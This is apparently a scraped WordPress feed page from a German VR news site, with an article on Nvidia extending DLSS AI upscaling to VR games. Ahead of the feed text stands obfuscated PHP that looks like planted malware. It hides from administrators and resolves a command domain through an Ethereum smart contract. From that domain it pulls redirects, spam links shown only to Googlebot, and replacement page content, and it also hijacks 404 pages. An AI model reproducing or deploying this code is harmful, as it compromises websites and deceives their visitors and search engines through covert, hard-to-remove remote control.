if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
  • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ KI-Upscaling Archive - VR-Legion https://vr-legion.de/tag/ki-upscaling/ We don't play flat! Thu, 03 Sep 2020 16:53:08 +0000 de hourly 1 https://wordpress.org/?v=6.9.4 https://vr-legion.de/wp-content/uploads/2018/05/cropped-Fertig_farbig_trans_im_Kreis_weiss_ohne_3d_klein-32x32.png KI-Upscaling Archive - VR-Legion https://vr-legion.de/tag/ki-upscaling/ 32 32 Nvidia bringt DLSS KI-Upscaling in die virtuelle Realität https://vr-legion.de/news/nvidia-bringt-dlss-ki-upscaling-in-die-virtuelle-realitaet/ Thu, 03 Sep 2020 16:53:08 +0000 https://vr-legion.de/?p=27015 Mit der Präsentation der Ampere-Grafikkarten RTX 3000 gab es auch Neuigkeiten zu DLSS - in Zukunft werden auch VR-Games das Feature nutzen können um Leistung zu sparen.

    Der Beitrag Nvidia bringt DLSS KI-Upscaling in die virtuelle Realität erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Mit der Präsentation der Ampere-Grafikkarten RTX 3000 gab es auch Neuigkeiten zu DLSS – in Zukunft werden auch VR-Games das Feature nutzen können um Leistung zu sparen.

    Neben Raytracing bieten Nvidias RTX-Grafikkarten auch eine oft eher weniger im Rampenlicht stehende Funktion zum Upscaling via KI. Die sogenannten Tensor-Cores der RTX-GPUs, also auch der 2000er-RTX-Karten, können bestimmte Berechnungen für KI-Funktionen besonders schnell ausführen und belasten währenddessen nicht die klassischen Shadereinheiten. DLSS steht dabei für Deep Learning Super Sampling und bedeutet nichts anderes, als dass ihr eine niedrigere Auflösung wählen könnt, ohne grafische Nachteile zu erleiden. Im Gegenteil, mitunter sieht das DLSS-Bild sogar besser aus als wenn es in der nativen Auflösung berechnet werden würde.

    Bislang war DLSS aber nur bei Flatgames zu finden, dort überzeugte es aber in der vergangenen Zeit immer mehr Gamer auf ganzer Linie dank guter Bildqualität und hoher Leistung. Ein Spiel kann so in 4K auf einem entsprechenden Monitor oder Fernseher ausgegeben werden, während die Grafikkarte nur eine WQHD-Version (2.160×1.440 statt 3.840×2.160 Pixel) berechnen muss. Um das Feature nutzen zu können, müssen Spiele aber von den Entwicklern speziell angepasst werden.

    DLSS muss angelernt werden

    Außerdem muss das KI-Upscaling vor dem Implementieren ins Spiel erst in einem neuronalen Netz auf den Serven von Nvidia trainiert werden. Hier lernt die KI den Unterschied zwischen niedrig- und hochaufgelösten Bildern, um dann in vereinfachter Form auf der heimischen Grafikkarte die niedrige Auflösung hochzurechnen. Das Ergebnis überzeugt in den meisten unterstützten flachen Spielen: Die Performance steigt, so dass auch die leistungshungrigen Raytracingfunktionen in 4K sinnvoll genutzt werden können.

    Hohe Auflösungen, das können VR-Brillen auch. HMDs wie die HP Reverb G2 oder auch Pimax-Brillen wie nicht zuletzt die 8K X bieten sehr hohe Auflösungen und fordern dazu hohe Frameraten. Eine Funktion, um ohne sichtbare Einbußen bei der Bildqualität die Renderauflösung drastisch senkt, wäre daher gerade bei VR sehr hilfreich. Nicht nur, um nicht die 1.499 Euro für eine RTX 3090 investieren zu müssen sondern auch, um preisbewusste Nutzer in die virtuelle Realität zu bringen.

    KI-Upscaling für weniger Leistungshunger in VR

    DLSS 2.1, die aktuelle und grafisch gegenüber dem bislang auf RTX 2000 gesehenen DLSS 1.0 Version des KI-Upscalings soll nun tatsächlich auch VR unterstützen. Theoretisch ließe sich DLSS in jedes Spiel integrieren, die Entwickler müssen jedoch zuvor die Nvidia-Server die KI für ihre Spiele trainieren lassen. Das dürfte nicht kostenlos geschehen, so dass wir so schnell nicht mit einer Schwemme an DLSS-VR-Games rechnen – und wenn, dann eher bei Spielen von großen und finanzstarken Publishern als von Indie-Entwicklern.

    Zusätzlich kündigt Nvidia eine dynamische DLSS-Funktion, die die gerenderte Auflösung je nach erreichter Framezahl anpasst. Dynamische Auflösungen sind spätestens seit Konsolen wie der PS4 oder Xbox One durchaus populär, allerdings gibt nicht jeder die Macht über die dargestellte Bildqualität gerne aus der Hand. Sollte DLSS hier allerdings allzu sichtbare Qualitätsschwankungen vermeiden können, wäre auch das ein Fortschritt für VR-Games.

    Alle Daten zu den RTX 3000-Karten und Nvidia Ampere haben wir bereits in diesem Artikel zusammengefasst.

     

    Der Beitrag Nvidia bringt DLSS KI-Upscaling in die virtuelle Realität erschien zuerst auf VR-Legion.

    ]]>